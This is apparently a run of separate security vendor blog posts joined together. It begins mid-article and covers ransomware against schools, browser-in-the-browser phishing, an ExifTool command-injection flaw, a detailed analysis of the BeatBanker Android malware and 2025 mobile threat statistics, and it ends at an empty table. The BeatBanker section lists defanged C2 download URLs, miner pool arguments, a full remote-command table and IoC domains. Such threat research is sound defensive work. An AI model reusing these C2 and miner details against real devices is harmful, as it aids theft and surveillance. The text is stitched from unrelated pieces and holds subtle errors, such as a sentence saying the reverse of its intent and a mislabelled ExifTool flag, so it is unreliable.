But times have changed, and so has the ransomware groups’ business model. The focus has shifted from payment for decryption, to extortion in exchange for non-disclosure of stolen data. Now, the “incentive” to pay isn’t just about restoring the company’s normal operations, but rather avoiding regulatory trouble, potential lawsuits, and reputational damage. And it’s this shift that’s put educational institutions in the crosshairs.

In this post, we discuss several cases of ransomware attacks on educational organizations, why they took place, and how to keep cybercriminals out of the classroom.

Attacks on educational institutions in 2025–2026

In February 2026, the Sapienza University of Rome, one of Europe’s oldest and largest higher education institutions, suffered a ransomware attack. Internal systems were down for three days. According to sources familiar with the incident, the cybercriminals sent the university’s administration a link leading to a ransom demand. Upon clicking the link, a countdown timer started on the site that opened — counting down from  72 hours: the time the attackers demands needed to be met. As of now, there’s still no word on whether the university administration paid up or not.

Unfortunately, this case isn’t an exception. At the very end of 2025, attackers targeted another Italian educational institution — a vocational training center in the small city of Treviso. Things aren’t looking much better in the UK, either: in the same year, Blacon High School was hit by ransomware. Its administration had to shut its doors for two days to restore its IT systems, assess the scale of the incident, and prevent the attack from spreading further through the network.

In fact, a UK government study suggests these incidents are just part of a broader trend. According to its 2025 data, cyberincidents hit 60% of secondary schools, 85% of colleges, and 91% of universities. Across the pond, American researchers also noted that in the first quarter of 2025, ransomware attacks in the global education sector surged by 69% year on year. Clearly, the trend is global.

Why schools and universities are becoming easy targets

The core of the problem is that modern educational organizations are rapidly incorporating digital services into their operations. A typical school or university infrastructure now manages a dizzying array of services:

• Electronic gradebooks and registers
• Distance learning platforms
• Admission systems and databases for storing applicants’ personal data
• Cloud storage for educational materials
• Internal staff and student portals
• Email for faculty, students, and the administration to communicate

While these systems make education more convenient and manageable, they also drastically expand the attack surface. Every new service and every additional user account is a potential doorway for a phishing campaign, access compromise, or a personal data leak.

According to a UK study, the primary vector for these attacks is basic phishing. But that’s not all that surprising: since the education sector was off the cybercriminals’ radar for so long, cybersecurity training for both staff and students was hardly a priority. As a result, even the most seasoned professors can find themselves falling for a fake email purportedly sent by the “dean” or the “school principal”.

But it’s not just the faculty. Students themselves often unwittingly act as mules for malware. In many institutions, students still frequently hand in assignments on USB flash drives. These drives travel across various home or public devices, picking up malicious digital hitchhikers along the way. All it takes is one infected USB drive plugged into a campus workstation to give an attacker a foothold in the internal network.

It’s worth noting that while USB drives aren’t as ubiquitous as they were a decade ago, they remain a staple in the educational environment. Dismissing the threats they carry isn’t a good idea.

How to ensure the cybersecurity of educational infrastructure

Let’s face it: training every literature and biology teacher to spot phishing emails is now easy, quick task. Similarly, the educational system isn’t going to cut down on USB usage overnight.

Fortunately, a robust security solution (such as Kaspersky Small Office Security) can do the heavy lifting for you. It’s ideal for schools and colleges that need set-it-and-forget-it protection without a steep learning curve. Plus, it’s affordable even for institutions operating on a tight budget, and doesn’t require constant management.

At the same time, Kaspersky Small Office Security addresses all the threats we’ve discussed above: it blocks clicks on phishing links, automatically scans USB drives the moment they’re plugged in, and prevents suspicious files from executing on devices connected to the school’s network.

In 2022, we dived deep into an attack method called browser-in-the-browser — originally developed by the cybersecurity researcher known as mr.d0x. Back then, no actual examples existed of this model being used in the wild. Fast-forward four years, and browser-in-the-browser attacks have graduated from the theoretical to the real: attackers are now using them in the field. In this post, we revisit what exactly a browser-in-the-browser attack is, show how hackers are deploying it, and, most importantly, explain how to keep yourself from becoming its next victim.

What is a browser-in-the-browser (BitB) attack?

For starters, let’s refresh our memories on what mr.d0x actually cooked up. The core of the attack stems from his observation of just how advanced modern web development tools — HTML, CSS, JavaScript, and the like — have become. It’s this realization that inspired the researcher to come up with a particularly elaborate phishing model.

A browser-in-the-browser attack is a sophisticated form of phishing that uses web design to craft fraudulent websites imitating login windows for well-known services like Microsoft, Google, Facebook, or Apple that look just like the real thing. The researcher’s concept involves an attacker building a legitimate-looking site to lure in victims. Once there, users can’t leave comments or make purchases unless they “sign in” first.

Signing in seems easy enough: just click the Sign in with {popular service name} button. And this is where things get interesting: instead of a genuine authentication page provided by the legitimate service, the user gets a fake form rendered inside the malicious site, looking exactly like… a browser pop-up. Furthermore, the address bar in the pop-up, also rendered by the attackers, displays a perfectly legitimate URL. Even a close inspection won’t reveal the trick.

From there, the unsuspecting user enters their credentials for Microsoft, Google, Facebook, or Apple into this rendered window, and those details go straight to the cybercriminals. For a while this scheme remained a theoretical experiment by the security researcher. Now — real-world attackers have added it to their arsenals.

Facebook credential theft

Attackers have put their own spin on mr.d0x’s original concept: recent browser-in-the-browser hits have been kicking off with emails designed to alarm recipients. For instance, one phishing campaign posed as a law firm informing the user they’d committed a copyright violation by posting something on Facebook. The message included a credible-looking link allegedly to the offending post.

Interestingly, to lower the victim’s guard, clicking the link didn’t immediately open a fake Facebook login page. Instead, they were first greeted by a bogus Meta CAPTCHA. Only after passing it was the victim presented with the fake authentication pop-up.

Naturally, the fake Facebook login page followed mr.d0x’s blueprint: it was built entirely with web design tools to harvest the victim’s credentials. Meanwhile, the URL displayed in the forged address bar pointed to the real Facebook site — www.facebook.com.

How to avoid becoming a victim

The fact that scammers are now deploying browser-in-the-browser attacks just goes to show that their bag of tricks is constantly evolving. But don’t despair — there’s a way to tell if a login window is legit. A password manager is your friend here, which, among other things, acts as a reliable security litmus test for any website.

That’s because when it comes to auto-filling credentials, a password manager looks at the actual URL, not what the address bar appears to show, or what the page itself looks like. Unlike a human user, a password manager can’t be fooled with browser-in-the-browser tactics, or any other tricks, like domains having a slightly different address (typosquatting) or phishing forms buried in ads and pop-ups. There’s a simple rule: if your password manager offers to auto-fill your login and password, you’re on a website you’ve previously saved credentials for. If it stays silent, something’s fishy.

Beyond that, following our time-tested advice will help you defend against various phishing methods, or at least minimize the fallout if an attack succeeds:

• Enable two-factor authentication (2FA) for every account that supports it. Ideally, use one-time codes generated by a dedicated authenticator app as your second factor. This helps you dodge phishing schemes designed to intercept confirmation codes sent via SMS, messaging apps, or email. You can read more about one-time-code 2FA in our dedicated post.
• Use passkeys. The option to sign in with this method can also serve as a signal that you’re on a legitimate site. You can learn all about what passkeys are and how to start using them in our deep dive into the technology.
• Set unique, complex passwords for all your accounts. Whatever you do, never reuse the same password across different accounts. We recently covered what makes a password truly strong on our blog. To generate unique combinations — without needing to remember them — Kaspersky Password Manager is your best bet. As an added bonus, it can also generate one-time codes for two-factor authentication, store your passkeys, and synchronize your passwords and files across your various devices.

Finally, this post serves as yet another reminder that theoretical attacks described by cybersecurity researchers often find their way out into the wild. So, keep an eye on our blog, and subscribe to our Telegram channel to stay up to speed on the latest threats to your digital security and how to shut them down.

Read about other inventive phishing techniques scammers are using day in day out:

• Phishing and spam: the wildest campaigns of 2025
• What happens to data stolen using phishing?
• How phishers and scammers use AI
• Turnkey phishing
• Progressive phishing: how PWAs can be used to steal passwords

Unit 42 details recent Iranian cyberattack activity, sharing direct observations of phishing, hacktivist activity and cybercrime. We include recommendations for defenders.

The post Threat Brief: Escalation of Cyber Risk Related to Iran (Updated April 17) appeared first on Unit 42.

In the digital era, “email sovereignty” refers to an organization’s ability to retain full, exclusive control over its own data. For enterprises relying on US-based cloud providers such as Microsoft, that control is often more nominal than real. Emerging data from 2025 and 2026 underscores an escalating conflict between user privacy and the expanding mandate of US intelligence agencies, especially in a periog marked by many regional conflicts.

Can a computer be infected with malware simply by processing a photo — particularly if that computer is a Mac, which many still believe (wrongly) to be inherently resistant to malware? As it turns out, the answer is yes — if you’re using a vulnerable version of ExifTool or one of the many apps built based on it. ExifTool is a ubiquitous open-source solution for reading, writing, and editing image metadata. It’s the go-to tool for photographers and digital archivists, and is widely used in data analytics, digital forensics, and investigative journalism.

Our GReAT experts discovered a critical vulnerability — tracked as CVE-2026-3102 — which is triggered during the processing of malicious image files containing embedded shell commands within their metadata. When a vulnerable version of ExifTool on macOS processes such a file, the command is executed. This allows a threat actor to perform unauthorized actions in the system, such as downloading and executing a payload from a remote server. In this post, we break down how this exploit works, provide actionable defense recommendations, and explain how to verify if your system is vulnerable.

What is ExifTool?

ExifTool is a free, open-source application addressing a niche but critical requirement: it extracts metadata from files, and enables the processing of both that data and the files themselves. Metadata is the information embedded within most modern file formats that describes or supplements the main content of a file. For instance, in a music track, metadata includes the artist’s name, song title, genre, release year, album cover art, and so on. For photographs, metadata typically consists of the date and time of a shot, GPS coordinates, ISO and shutter speed settings, and the camera make and model. Even office documents store metadata, such as the author’s name, total editing time, and the original creation date.

ExifTool is the industry leader in terms of the sheer volume of supported file formats, as well as the depth, accuracy, and versatility of its processing capabilities. Common use cases include:

• Adjusting dates if they’re incorrectly recorded in the source files
• Moving metadata between different file formats (from JPG to PNG and so on)
• Pulling preview thumbnails from professional RAW formats (such as 3FR, ARW, or CR3)
• Retrieving data from niche formats, including FLIR thermal imagery, LYTRO light-field photos, and DICOM medical imaging
• Renaming photo/video (etc.) files based on the time of actual shooting, and synchronizing the file creation time and date accordingly
• Embedding GPS coordinates into a file by syncing it with a separately stored GPS track log, or adding the name of the nearest populated area

The list goes on and on. ExifTool is available both as a standalone command-line application and an open-source library, meaning its code often runs under the hood of powerful, multi-purpose tools; examples include photo organization systems like Exif Photoworker and MetaScope, or image processing automation tools like ImageIngester. In large digital libraries, publishing houses, and image analytics firms, ExifTool is frequently used in automated mode, triggered by internal enterprise applications and custom scripts.

How CVE-2026-3102 works

To exploit this vulnerability, an attacker must craft an image file in a certain way. While the image itself can be anything, the exploit lies in the metadata — specifically the DateTimeOriginal field (date and time of creation), which must be recorded in an invalid format. In addition to the date and time, this field must contain malicious shell commands. Due to the specific way ExifTool handles data on macOS, these commands will execute only if two conditions are met:

• The application or library is running on macOS
• The -n (or –printConv) flag is enabled. This mode outputs machine-readable data without additional processing, as is. For example, in -n mode, camera orientation data is output simply, inexplicably, as “six”, whereas with additional processing, it becomes the more human-readable “Rotated 90 CW”. This “human-readability” prevents the vulnerability from being exploited

A rare but by no means fantastical scenario for a targeted attack would look like this: a forensics laboratory, a media editorial office, or a large organization that processes legal or medical documentation receives a digital document of interest. This can be a sensational photo or a legal claim — the bait depends on the victim’s line of work. All files entering the company undergo sorting and cataloging via a digital asset management (DAM) system. In large companies, this may be automated; individuals and small firms run the required software manually. In either case, the ExifTool library must be used under the hood of this software. When processing the date of the malicious photo, the computer where the processing occurs is infected with a Trojan or an infostealer, which is subsequently capable of stealing all valuable data stored on the attacked device. Meanwhile, the victim could easily notice nothing at all, as the attack leverages the image metadata while the picture itself may be harmless, entirely appropriate, and useful.

How to protect against the ExifTool vulnerability

GReAT researchers reported the vulnerability to the author of ExifTool, who promptly released version 13.50, which is not susceptible to CVE-2026-3102. Versions 13.49 and earlier must be updated to remediate the flaw.

It’s critical to ensure that all photo processing workflows are using the updated version. You should verify that all asset management platforms, photo organization apps, and any bulk image processing scripts running on Macs are calling ExifTool version 13.50 or later, and don’t contain an embedded older copy of the ExifTool library.

Naturally, ExifTool — like any software — may contain additional vulnerabilities of this class. To harden your defenses, we also recommend the following:

• Isolate the processing of untrusted files. Process images from questionable sources on a dedicated machine or within a virtual environment, strictly limiting its access to other computers, data storage, and network resources.
• Continuously track vulnerabilities along the software supply chain. Organizations that rely on open-source components in their workflows can use Open Source Software Threats Data Feed for tracking.

Finally, if you work with freelancers or self-employed contractors (or simply allow BYOD), only allow them to access your network if they have a comprehensive macOS security solution installed.

Still think macOS is safe? Then read about these Mac threats:

• Banshee: A stealer targeting macOS users
• Are Macs safe? Threats to macOS users
• Infostealer has entered the chat
• AirBorne: Attacks on Apple devices through vulnerabilities in AirPlay
• Hacking Android, macOS, iOS, and Linux through a Bluetooth vulnerability

CVE-2026-1731 is an RCE vulnerability in identity platform BeyondTrust. This flaw allows attackers control of systems without login credentials.

The post VShell and SparkRAT Observed in Exploitation of BeyondTrust Critical Vulnerability (CVE-2026-1731) appeared first on Unit 42.

Recently, we uncovered BeatBanker, an Android‑based malware campaign targeting Brazil. It spreads primarily through phishing attacks via a website disguised as the Google Play Store. To achieve their goals, the malicious APKs carry multiple components, including a cryptocurrency miner and a banking Trojan capable of completely hijacking the device and spoofing screens, among other things. In a more recent campaign, the attackers switched from the banker to a known RAT.

This blog post outlines each phase of the malware’s activity on the victim’s handset, explains how it ensures long‑term persistence, and describes its communication with mining pools.

Key findings:

• To maintain persistence, the Trojan employs a creative mechanism: it plays an almost inaudible audio file on a loop so it cannot be terminated. This inspired us to name it BeatBanker.
• It monitors battery temperature and percentage, and checks whether the user is using the device.
• At various stages of the attack, BeatBanker disguises itself as a legitimate application on the Google Play Store and as the Play Store itself.
• It deploys a banker in addition to a cryptocurrency miner.
• When the user tries to make a USDT transaction, BeatBanker creates overlay pages for Binance and Trust Wallet, covertly replacing the destination address with the threat actor’s transfer address.
• New samples now drop BTMOB RAT instead of the banking module.

Initial infection vector

The campaign begins with a counterfeit website, cupomgratisfood[.]shop, that looks exactly like the Google Play Store. This fake app store contains the “INSS Reembolso” app, which is in fact a Trojan. There are also other apps that are most likely Trojans too, but we haven’t obtained them.

The INSS Reembolso app poses as the official mobile portal of Brazil’s Instituto Nacional do Seguro Social (INSS), a government service that citizens can use to perform more than 90 social security tasks, from retirement applications and medical exam scheduling to viewing CNIS (National Registry of Social Information), tax, and payment statements, as well as tracking request statuses. By masquerading as this trusted platform, the fake page tricks users into downloading the malicious APK.

Packing

The initial APK file is packed and makes use of a native shared library (ELF) named  libludwwiuh.so that is included in the application. Its main task is to decrypt another ELF file that will ultimately load the original DEX file.

First, libludwwiuh.so decrypts an embedded encrypted ELF file and drops it to a temporary location on the device under the name l.so. The same code that loaded the libludwwiuh.so library then loads this file, which uses the Java Native Interface (JNI) to continue execution.

l.so – the DEX loader

The library does not have calls to its functions; instead, it directly calls the Java methods whose names are encrypted in the stack using XOR (stack strings technique) and restored at runtime:

Initially, the loader makes a request to collect some network information using https://ipapi.is to determine whether the infected device is a mobile device, if a VPN is being used, and to obtain the IP address and other details.

This loader is engineered to bypass mobile antivirus products by utilizing dalvik.system.InMemoryDexClassLoader. It loads malicious DEX code directly into memory, avoiding the creation of any files on the device’s file system. The necessary DEX files can be extracted using dynamic analysis tools like Frida.

Furthermore, the sample incorporates anti-analysis techniques, including runtime checks for emulated or analysis environments. When such an environment is detected (or when specific checks fail, such as verification of the supported CPU_ABI), the malware can immediately terminate its own process by invoking android.os.Process.killProcess(android.os.Process.myPid()), effectively self-destructing to hinder dynamic analysis.

After execution, the malware displays a user interface that mimics the Google Play Store page, showing an update available for the INSS Reembolso app. This is intended to trick victims into granting installation permissions by tapping the “Update” button, which allows the download of additional hidden malicious payloads.

The payload delivery process mimics the application update. The malware uses the REQUEST_INSTALL_PACKAGES permission to install APK files directly into its memory, bypassing Google Play. To ensure persistence, the malware keeps a notification about a system update pinned to the foreground and activates a foreground service with silent media playback, a tactic designed to prevent the operating system from terminating the malicious process.

Crypto mining

When UPDATE is clicked on a fake Play Store screen, the malicious application downloads and executes an ELF file containing a cryptomining payload. It starts by issuing a GET request to the C2 server at either hxxps://accessor.fud2026.com/libmine-<arch>.so or hxxps://fud2026.com/libmine-<arch>.so. The downloaded file is then decrypted using CipherInputStream(), with the decryption key being derived from the SHA-1 hash of the downloaded file’s name, ensuring that each version of the file is encrypted with a unique key. The resulting file is renamed d-miner.

The decrypted payload is an ARM-compiled XMRig 6.17.0 binary. At runtime, it attempts to create a direct TCP connection to pool.fud2026[.]com:9000. If successful, it uses this endpoint; otherwise, it automatically switches to the proxy endpoint pool-proxy.fud2026[.]com:9000. The final command-line arguments passed to XMRig are as follows:

• -o pool.fud2026[.]com:9000 or pool-proxy.fud2026[.]com:9000 (selected dynamically)
• -k (keepalive)
• --tls (encrypted connection)
• --no-color (disable colored output)
• --nicehash (NiceHash protocol support)

C2 telemetry

The malware uses Google’s legitimate Firebase Cloud Messaging (FCM) as its primary command‑and‑control (C2) channel. In the analyzed sample, each FCM message received triggers a check of the battery status, temperature, installation date, and user presence. A hidden cryptocurrency miner is then started or stopped as needed. These mechanisms ensure that infected devices remain permanently accessible and responsive to the attacker’s instructions, which are sent through the FCM infrastructure. The attacker monitors the following information:

• isCharging: indicates whether the phone is charging;
• batteryLevel: the exact battery percentage;
• isRecentInstallation: indicates whether the application was recently installed (if so, the implant delays malicious actions);
• isUserAway: indicates whether the user is away from the device (screen off and inactive);
• overheat: indicates whether the device is overheating;
• temp: the current battery temperature.

Persistence

The KeepAliveServiceMediaPlayback component ensures continuous operation by initiating uninterrupted playback via MediaPlayer. It keeps the service active in the foreground using a notification and loads a small, continuous audio file. This constant activity prevents the system from suspending or terminating the process due to inactivity.

The identified audio output8.mp3 is five seconds long and plays on a loop. It contains some Chinese words.

Banking module

BeatBanker compromises the machine with a cryptocurrency miner and introduces another malicious APK that acts as a banking Trojan. This Trojan uses previously obtained permission to install an additional APK called INSS Reebolso, which is associated with the package com.destination.cosmetics.

Similar to the initial malicious APK, it establishes persistence by creating and displaying a fixed notification in the foreground to hinder removal. Furthermore, BeatBanker attempts to trick the user into granting accessibility permissions to the package.

Leveraging the acquired accessibility permissions, the malware establishes comprehensive control over the device’s user interface.

The Trojan constantly monitors the foreground application. It targets the official Binance application (com.binance.dev) and the Trust Wallet application (com.wallet.crypto.trustapp), focusing on USDT transactions. When a user tries to withdraw USDT, the Trojan instantly overlays the target app’s transaction confirmation screen with a highly realistic page sourced from Base64-encoded HTML stored in the banking module.

The module captures the original withdrawal address and amount, then surreptitiously substitutes the destination address with an attacker-controlled one using AccessibilityNodeInfo.ACTION_SET_TEXT. The overlay page shows the victim the address they copied (for Binance) or just shows a loading icon (for Trust Wallet), leading them to believe they are remitting funds to the intended wallet when, in fact, the cryptocurrency is transferred to the attacker’s designated address.

Target browsers

BeatBanker’s banking module monitors the following browsers installed on the victim’s device:

• Chrome
• Firefox
• sBrowser
• Brave
• Opera
• DuckDuckGo
• Dolphin Browser
• Edge

Its aim is to collect the URLs accessed by the victim using the regular expression ^(?:https?://)?(?:[^:/\\\\]+\\\\.)?([^:/\\\\]+\\\\.[^:/\\\\]+). It also offers management functionalities (add, edit, delete, list) for links saved in the device’s default browser, as well as the ability to open links provided by the attacker.

C2 communication

BeatBanker is also designed to receive commands from the C2. These commands aim to collect the victim’s personal information and gain complete control of the device.

Command	Description
0	Starts dynamic loading of the DEX class
Update	Simulates software update and locks the screen
msg:	Displays a Toast message with the provided text
goauth<*>	Opens Google Authenticator (if installed) and enables the AccessService.SendGoogleAuth flag used to monitor and retrieve authentication codes
kill<*>	Sets the protection bypass flag AccessService.bypass to “True” and sets the initializeService.uninstall flag to “Off”
srec<*>	Starts or stops audio recording (microphone), storing the recorded data in a file with an automatically generated filename. The following path format is used to store the recording: /Config/sys/apps/rc/<timestamp>_0REC<last5digits>.wav
pst<*>	Pastes text from the clipboard (via Accessibility Services)
GRC<*>	Lists all existing audio recording files
gtrc<*>	Sends a specific audio recording file to the C2
lcm<*>	Lists supported front camera resolutions
usdtress<*>	Sets a USDT cryptocurrency address when a transaction is detected
lnk<*>	Opens a link in the browser
EHP<*>	Updates login credentials (host, port, name) and restarts the application
ssms<*>	Sends an SMS message (individually or to all contacts)
CRD<*>	Adds (E>) or removes (D>) packages from the list of blocked/disabled applications
SFD<*>	Deletes files (logs, recordings, tones) or uninstalls itself
adm<>lck<>	Immediately locks the screen using Device Administrator permissions
adm<>wip<>	Performs a complete device data wipe (factory reset)
Aclk<*>	Executes a sequence of automatic taps (auto-clicker) or lists existing macros
KBO<*>lod	Checks the status of the keylogger and virtual keyboard
KBO<*>AKP/AKA	Requests permission to activate a custom virtual keyboard or activates one
KBO<*>ENB:	Enables (1) or disables (0) the keylogger
RPM<*>lod	Checks the status of all critical permissions
RPM<*>ACC	Requests Accessibility Services permission
RPM<*>DOZ	Requests Doze/App Standby permission (battery optimization)
RPM<*>DRW	Requests Draw Over Other Apps permission (overlay)
RPM<*>INST	Requests permission to install apps from unknown sources (Android 8+)
ussd<*>	Executes a USSD code (e.g., *#06# for IMEI)
Blkt<*>	Sets the text for the lock overlay
BLKV<*>	Enables or disables full-screen lock using WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY to display a black FrameLayout element over the entire screen
SCRD<> / SCRD2<>	Enables/disables real-time screen text submission to the C2 (screen reading)
rdall<*>	Clears or sends all keylogger logs
rdd<*>	Deletes a specific log file
rd<*>	Sends the content of a specific keylogger file
MO<*>	Manages application monitoring (add, remove, list, screenshot, etc.)
FW<*>	Controls VPN and firewall (status, block/allow apps, enable/disable)
noti<*>	Creates persistent and custom notifications
sp<*>	Executes a sequence of swipes/taps (gesture macro)
lodp<*>	Manages saved links in the internal browser (add, edit, delete, list)
scc:	Starts screen capture/streaming

New BeatBanker samples dropping BTMOB

Our recent detection efforts uncovered a campaign leveraging a fraudulent StarLink application that we assess as being a new BeatBanker variant. The infection chain mirrored previous instances, employing identical persistence methods – specifically, looped audio and fixed notifications. Furthermore, this variant included a crypto miner similar to those seen previously. However, rather than deploying the banking module, it was observed distributing the BTMOB remote administration tool.

The BTMOB APK is highly obfuscated and contains a class responsible for configuration. Despite this, it’s possible to identify a parser used to define the application’s behavior on the device, as well as persistence features, such as protection against restart, deletion, lock reset, and the ability to perform real-time screen recording.

String decryption

The simple decryption routine uses repetitive XOR between the encrypted data and a short key. It iterates through the encrypted text byte by byte, repeating the key from the beginning whenever it reaches the end. At each position, the sample XORs the encrypted byte with the corresponding byte of the key, overwriting the original. Ultimately, the modified byte array contains the original text, which is then converted to UTF-8 and returned as a string.

Malware-as-a-Service

BTMOB is an Android remote administration tool that evolved from the CraxsRAT, CypherRAT, and SpySolr families. It provides full remote control of the victim’s device and is sold in a Malware-as-a-Service (MaaS) model. On July 26, 2025, a threat actor posted a screenshot of the BTMOB RAT in action on GitHub under the username “brmobrats”, along with a link to the website btmob[.]xyz. The website contains information about the BTMOB RAT, including its version history, features, and other relevant details. It also redirects to a Telegram contact. Cyfirma has already linked this account to CraxsRAT and CypherRAT.

Recently, a YouTube channel was created by a different threat actor that features videos demonstrating how to use the malware and facilitate its sale via Telegram.

We also saw the distribution and sale of leaked BTMOB source code on some dark web forums. This may suggest that the creator of BeatBanker acquired BTMOB from its original author or the source of the leak and is utilizing it as the final payload, replacing the banking module observed in the INSS Reebolso incident.

In terms of functionality, BTMOB maintains a set of intrusive capabilities, including: automatic granting of permissions, especially on Android 13–15 devices; use of a black FrameLayout overlay to hide system notifications similar to the one observed in the banking module; silent installation; persistent background execution; and mechanisms designed to capture screen lock credentials, including PINs, patterns, and passwords. The malware also provides access to front and rear cameras, captures keystrokes in real time, monitors GPS location, and constantly collects sensitive data. Together, these functionalities provide the operator with comprehensive remote control, persistent access, and extensive surveillance capabilities over compromised devices.

Victims

All variants of BeatBanker – those with the banking module and those with the BTMOB RAT – were detected on victims in Brazil. Some of the samples that deliver BTMOB appear to use WhatsApp to spread, as well as phishing pages.

Conclusion

BeatBanker is an excellent example of how mobile threats are becoming more sophisticated and multi-layered. Initially focused in Brazil, this Trojan operates a dual campaign, acting as a Monero cryptocurrency miner, discreetly draining your device’s battery life while also stealing banking credentials and tampering with cryptocurrency transactions. Moreover, the most recent version goes even further, substituting the banking module with a full-fledged BTMOB RAT.

The attackers have devised inventive tricks to maintain persistence. They keep the process alive by looping an almost inaudible audio track, which prevents the operating system from terminating it and allows BeatBanker to remain active for extended periods.

Furthermore, the threat demonstrates an obsession with staying hidden. It monitors device usage, battery level and temperature. It even uses Google’s legitimate system (FCM) to receive commands. The threat’s banking module is capable of overlaying Binance and Trust Wallet screens and diverting USDT funds to the criminals’ wallets before the victim even notices.

The lesson here is clear: distrust is your best defense. BeatBanker spreads through fake websites that mimic Google Play, disguising itself as trustworthy government applications. To protect yourself against threats like this, it is essential to:

1. Download apps only from official sources. Always use the Google Play Store or the device vendor’s official app store. Make sure you use the correct app store app, and verify the developer.
2. Check permissions. Pay attention to the permissions that applications request, especially those related to accessibility and installation of third-party packages.
3. Keep the system updated. Security updates for Android and your mobile antivirus are essential.

Our solutions detect this threat as HEUR:Trojan-Dropper.AndroidOS.BeatBanker and HEUR:Trojan-Dropper.AndroidOS.Banker.*

Indicators of compromise

Additional IoCs, TTPs and detection rules are available to customers of our Threat Intelligence Reporting service. For more details, contact us at crimewareintel@kaspersky.com.

Host-based (MD5 hashes)
F6C979198809E13859196B135D21E79B – INSS Reebolso
D3005BF1D52B40B0B72B3C3B1773336B – StarLink

Domains
cupomgratisfood[.]shop
fud2026[.]com
accessor.fud2026[.]com
pool.fud2026[.]com
pool-proxy.fud2026[.]com
aptabase.fud2026[.]com
aptabase.khwdji319[.]xyz
btmob[.]xyz
bt-mob[.]net

Starting from the third quarter of 2025, we have updated our statistical methodology based on the Kaspersky Security Network. These changes affect all sections of the report except for the installation package statistics, which remain unchanged.

To illustrate trends between reporting periods, we have recalculated the previous year’s data; consequently, these figures may differ significantly from previously published numbers. All subsequent reports will be generated using this new methodology, ensuring accurate data comparisons with the findings presented in this article.

Kaspersky Security Network (KSN) is a global network for analyzing anonymized threat intelligence, voluntarily shared by Kaspersky users. The statistics in this report are based on KSN data unless explicitly stated otherwise.

The year in figures

According to Kaspersky Security Network, in 2025:

• Over 14 million attacks involving malware, adware or unwanted mobile software were blocked.
• Adware remained the most prevalent mobile threat, accounting for 62% of all detections.
• Over 815 thousand malicious installation packages were detected, including 255 thousand mobile banking Trojans.

The year’s highlights

In 2025, cybercriminals launched an average of approximately 1.17 million attacks per month against mobile devices using malicious, advertising, or unwanted software. In total, Kaspersky solutions blocked 14,059,465 attacks throughout the year.

Attacks on Kaspersky mobile users in 2025 (download)

Beyond the malware mentioned in previous quarterly reports, 2025 saw the discovery of several other notable Trojans. Among these, in Q4 we uncovered the Keenadu preinstalled backdoor. This malware is integrated into device firmware during the manufacturing stage. The malicious code is injected into libandroid_runtime.so – a core library for the Android Java runtime environment – allowing a copy of the backdoor to enter the address space of every app running on the device. Depending on the specific app, the malware can then perform actions such as inflating ad views, displaying banners on behalf of other apps, or hijacking search queries. The functionality of Keenadu is virtually unlimited, as its malicious modules are downloaded dynamically and can be updated remotely.

Cybersecurity researchers also identified the Kimwolf IoT botnet, which specifically targets Android TV boxes. Infected devices are capable of launching DDoS attacks, operating as reverse proxies, and executing malicious commands via a reverse shell. Subsequent analysis revealed that Kimwolf’s reverse proxy functionality was being leveraged by proxy providers to use compromised home devices as residential proxies.

Another notable discovery in 2025 was the LunaSpy Trojan.

Disguised as antivirus software, this spyware exfiltrates browser passwords, messaging app credentials, SMS messages, and call logs. Furthermore, it is capable of recording audio via the device’s microphone and capturing video through the camera. This threat primarily targeted users in Russia.

Mobile threat statistics

815,735 new unique installation packages were observed in 2025, showing a decrease compared to the previous year. While the decline in 2024 was less pronounced, this past year saw the figure drop by nearly one-third.

Detected Android-specific malware and unwanted software installation packages in 2022–2025 (download)

The overall decrease in detected packages is primarily due to a reduction in apps categorized as not-a-virus. Conversely, the number of Trojans has increased significantly, a trend clearly reflected in the distribution data below.

Detected packages by type

Distribution* of detected mobile software by type, 2024–2025 (download)

* The data for the previous year may differ from previously published data due to some verdicts being retrospectively revised.

A significant increase in Trojan-Banker and Trojan-Spy apps was accompanied by a decline in AdWare and RiskTool files. The most prevalent banking Trojans were Mamont (accounting for 49.8% of apps) and Creduz (22.5%). Leading the persistent adware category were MobiDash (39%), Adlo (27%), and HiddenAd (20%).

Share* of users attacked by each type of malware or unwanted software out of all users of Kaspersky mobile solutions attacked in 2024–2025 (download)

* The total may exceed 100% if the same users encountered multiple attack types.

Trojan-Banker malware saw a significant surge in 2025, not only in terms of unique file counts but also in the total number of attacks. Nevertheless, this category ranked fourth overall, trailing far behind the Trojan file category, which was dominated by various modifications of Triada and Fakemoney.

TOP 20 types of mobile malware

Note that the malware rankings below exclude riskware and potentially unwanted apps, such as RiskTool and adware.

Verdict	% 2024*	% 2025*	Difference in p.p.	Change in ranking
Trojan.AndroidOS.Triada.fe	0.04	9.84	+9.80
Trojan.AndroidOS.Triada.gn	2.94	8.14	+5.21	+6
Trojan.AndroidOS.Fakemoney.v	7.46	7.97	+0.51	+1
DangerousObject.Multi.Generic	7.73	5.83	–1.91	–2
Trojan.AndroidOS.Triada.ii	0.00	5.25	+5.25
Trojan-Banker.AndroidOS.Mamont.da	0.10	4.12	+4.02
Trojan.AndroidOS.Triada.ga	10.56	3.75	–6.81	–6
Trojan-Banker.AndroidOS.Mamont.db	0.01	3.53	+3.51
Backdoor.AndroidOS.Triada.z	0.00	2.79	+2.79
Trojan-Banker.AndroidOS.Coper.c	0.81	2.54	+1.72	+35
Trojan-Clicker.AndroidOS.Agent.bh	0.34	2.48	+2.14	+74
Trojan-Dropper.Linux.Agent.gen	1.82	2.37	+0.55	+4
Trojan.AndroidOS.Boogr.gsh	5.41	2.06	–3.35	–8
DangerousObject.AndroidOS.GenericML	2.42	1.97	–0.45	–3
Trojan.AndroidOS.Triada.gs	3.69	1.93	–1.76	–9
Trojan-Downloader.AndroidOS.Agent.no	0.00	1.87	+1.87
Trojan.AndroidOS.Triada.hf	0.00	1.75	+1.75
Trojan-Banker.AndroidOS.Mamont.bc	1.13	1.65	+0.51	+8
Trojan.AndroidOS.Generic.	2.13	1.47	–0.66	–6
Trojan.AndroidOS.Triada.hy	0.00	1.44	+1.44

* Unique users who encountered this malware as a percentage of all attacked users of Kaspersky mobile solutions.

The list is largely dominated by the Triada family, which is distributed via malicious modifications of popular messaging apps. Another infection vector involves tricking victims into installing an official messaging app within a “customized virtual environment” that supposedly offers enhanced configuration options. Fakemoney scam applications, which promise fraudulent investment opportunities or fake payouts, continue to target users frequently, ranking third in our statistics. Meanwhile, the Mamont banking Trojan variants occupy the 6th, 8th, and 18th positions by number of attacks. The Triada backdoor preinstalled in the firmware of certain devices reached the 9th spot.

Region-specific malware

This section describes malware families whose attack campaigns are concentrated within specific countries.

Verdict	Country*	%**
